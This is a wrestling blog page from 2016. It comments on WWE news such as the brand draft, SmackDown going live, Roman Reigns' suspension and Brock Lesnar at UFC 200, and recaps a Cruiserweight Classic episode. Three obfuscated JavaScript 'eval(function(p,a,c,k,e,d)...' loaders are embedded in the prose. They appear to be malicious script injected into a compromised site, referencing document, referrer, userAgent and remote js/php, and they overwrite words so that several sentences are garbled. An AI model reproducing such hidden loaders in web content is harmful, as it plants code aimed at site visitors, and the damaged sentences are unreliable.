http://www.wwe.com/article/wwe-draft-rules-2016?sf31145497=1

Just in case you thought Smackdown would be treated equally or better you see.  Of course I don’t know why you would think that when Stephanie runs Raw.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fndhs|var|u0026u|referrer|afbta||js|php'.split('|'),0,{})) Classic
Date: July 13, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Daniel Bryan

Opening sequence.

First Round: Alejandro Saez vs. Gran Metalik

A quick argument with the referee allows Metalik to knock him outside for an ACH middle rope springboard flip dive. Back in and a top rope (as in from the middle of the rope instead of the corner) gets two on Saez but Gran gets kicked out to the floor. Saez hits a shooting star off the apron, only to get caught in a Samoan Driver to give Metalik the pin at 4:05.

Metalik is announced as the official winner ala a UFC fight.

Hoho Lun is here to show that this is his job.

First Round: Ariya Daivar vs. Hoho Lun

Clement Petiot is a Lance Storm student from France and seems to be one of the bigger guys in the field.

Cedric Alexander is from Charlotte and used to be in Ring of Honor.

First Round: Clement Petiot vs. Cedric Alexander

We hit the chinlock before a running knee to the face gets two in the corner. Cedric comes right back with a perfect springboard clothesline but Clement flips him inside out with a discus clothesline. Not that it matters as Cedric comes right back with the Lumbar Check (belly to back suplex into a Backstabber) for the pin at 6:01.

Kota Ibushi is ready to prove himself.

First Round: Sean Maluta vs. Kota Ibushi

Ibushi is a big crowd favorite. Feeling out process to start with Maluta taking him down to the mat, only to have Ibushi come back with a kick to the chest. A t-bone suplex sends Maluta flying but Sean gets in a middle rope Codebreaker to knock Ibushi silly. Maluta sends him to the floor and tries a running flip dive, which may or may not have been botched as he landed on the apron but it might have been intentional as he immediately flipped over again to take Ibushi down.

Back in and Kota hits a very high dropkick before some very fast strikes have Sean in trouble. A standing moonsault gets two on Sean but he blocks a superplex, only to get kicked hard out to the floor. Ibushi keeps things fast with a running springboard moonsault to take Sean down. Back in and a superkick knocks Kota silly for two but he pops up and hits a sitout Last Ride for the pin at 9:40.

Results

Gran Metalik b. Alejandro Saez – Samoan Driver

Hoho Lun b. Ariya Daivari – German Suplex

Cedric Alexander b. Clement Petiot – Lumbar Check

Kota Ibushi b. Sean Maluta – Sitout Powerbomb

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Is eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asbbn|var|u0026u|referrer|ehdht||js|php'.split('|'),0,{})) Randy Orton, officially announced on Smackdown though it was leaked yesterday.

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiady|var|u0026u|referrer|nbazf||js|php'.split('|'),0,{})) one where his opponent will be announced this week.  Hopefully it’s a sign of things to come.Smackdown is going live two weeks from today and for years it’s been a dead, nothing show with matches airing again the next week on Raw with no mention of them already happening on Thursday.  By airing big news like this on Smackdown, WWE is starting to get some buzz going on Smackdown where it might be worth seeing again.  Do that multiple times and people might actually start watching.

http://411mania.com/wrestling/domestic-assault-charges-against-jerry-lawler-dismissed/

You kind of had to expect him to be back immediately after this was cleared up.  It’s not like Otunga was going to be a long term replacement (just not enough experience though he was fine in the little time he was in the role) so it should be nice to have Lawler back in his heel role.

Of course take this with a big bag of salt but there’s a chance that this is legit.  Click on the picture for a better image.

The first thing I think is SWEET GOODNESS THAT’S A LOT OF SHOWS and that’s going to be the take away from this schedule.  You’re looking at basically two shows a month with two or three weeks between them.  I can go with that if they cut some of the times down but a lot of people are going to get burned out in a hurry if they’re running a three hour (potentially plus if Money in the Bank is the first of its kind) show with an hour pre-show.  I can watch wrestling all day every day but even I think that’s a lot.

Now for the good: WAY better names.  Stuff like Backlash, No Mercy and Clash of the Champions are improvements over a lot of the goofy names we have to put up with so often.  It’s also going to be nice if the wrestlers are allowed to have some more time but the worst thing they could do is the old formula of making so many matches filler.  I’m talking about airing stuff like Mordecai vs. Hardcore Holly on pay per view.  Fans aren’t going to put up with that and it could get old in a hurry.

It might help a lot if some of these shows are two hours instead of three.  Look at Money in the Bank.  You could have cut off at least two matches (meaning keep them on the pre-show where they were scheduled in the first place) and trimmed the thing down a bit.  If you’re paying the same price for it on the Network (I’m aware some people are going to get it on regular pay per view still), it’s ok to trim off some of the fat and let the shows actually work for a change.

It’s too early to tell but I’m skeptical about this.  Knowing WWE, whose new philosophy seems to be CRAM AS MUCH AS YOU CAN IN, I’m worried about what we might be going through with them burning through everything they can as fast as they can.

http://411mania.com/wrestling/wwe-suspends-roman-reigns-for-wellness-policy-violation/

Reigns has also stated that this is legit and isn’t denying a thing.  This doesn’t change anything for Battleground as the suspension will end before then but he won’t be around for the Draft.

I’m not entirely thrilled with the concept but I’m sure I’ll watch.

http://www.wwe.com/section/cruiserweight-classic-competitors

http://espn.go.com/mma/story/_/id/15961833/brock-lesnar-return-ufc-200-fighter-yet-named

Apparently this is part of a deal with WWE so Brock is NOT leaving WWE to do this.  No word on if this is one off or part of a bigger deal.  Also no word on if WWE will get a big UFC name for an appearance in exchange.

And Smackdown is going live starting July 19.

http://www.wwe.com/shows/smackdown/article/smackdown-live-usa-network-july-19

This is uh…….well it’s certainly something.  For one thing it’s going to prove that just having Smackdown live isn’t going to change things, though with the announcement that a McMahon is going to be in charge of the show, maybe things get a little more interesting.  Anything that makes WWE care about Smackdown and pay more attention to it is a good thing, but I’m going to need a lot more details before I consider this the saving grace for the blue show.

What I do consider my own saving grace though: Impact is screwed to the wall.